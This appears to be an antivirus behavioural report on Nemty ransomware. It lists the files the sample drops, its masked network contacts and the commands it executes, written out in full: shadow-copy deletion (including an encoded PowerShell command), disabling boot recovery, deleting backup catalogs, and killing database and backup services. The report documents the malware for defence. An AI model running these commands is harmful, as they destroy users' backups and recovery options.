Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\nemty_hzsz4f4-decrypt.txt
- <Drive name for removable media>:\delete.avi
- <Drive name for removable media>:\correct.avi
- <Drive name for removable media>:\default.bmp
- <Drive name for removable media>:\dashborder_192.bmp
- <Drive name for removable media>:\toolbar.bmp
- <Drive name for removable media>:\tileimage.bmp
- <Drive name for removable media>:\coffee.bmp
- <Drive name for removable media>:\testcertificate.cer
- <Drive name for removable media>:\contoso.cer
- <Drive name for removable media>:\sdksampleunprivdeveloper.cer
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /f /im sql.*
- '%WINDIR%\syswow64\net.exe' stop DbxSvc
- '%WINDIR%\syswow64\net.exe' stop OracleXETNSListener
- '%WINDIR%\syswow64\net.exe' stop OracleServiceXE
- '%WINDIR%\syswow64\net.exe' stop AcrSch2Svc
- '%WINDIR%\syswow64\net.exe' stop AcronisAgent
Modifies file system
Creates the following files
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\518e2bc94bc324e5e6f82437175ae1af_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
Network activity
TCP
- 'my####rnalip.com':443
- 'ne##y10.hk':80
UDP
- DNS ASK my####rnalip.com
- DNS ASK ne##y10.hk
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=401MB' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=unbounded' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=401MB' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=unbounded' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=401MB' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=unbounded' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=401MB
- '%WINDIR%\syswow64\net1.exe' stop OracleServiceXE
- '%WINDIR%\syswow64\net1.exe' stop OracleXETNSListener
- '%WINDIR%\syswow64\net1.exe' stop DbxSvc
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete
- '%WINDIR%\syswow64\cmd.exe' /c net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=F: /on=F: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=D: /on=D: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=D: /on=D: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=F: /on=F: /maxsize=401MB
- '<SYSTEM32>\vssvc.exe'
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=unbounded
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=unbounded
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=A: /on=A: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=A: /on=A: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=unbounded
- '%WINDIR%\syswow64\net1.exe' stop AcrSch2Svc
- '%WINDIR%\syswow64\net1.exe' stop AcronisAgent
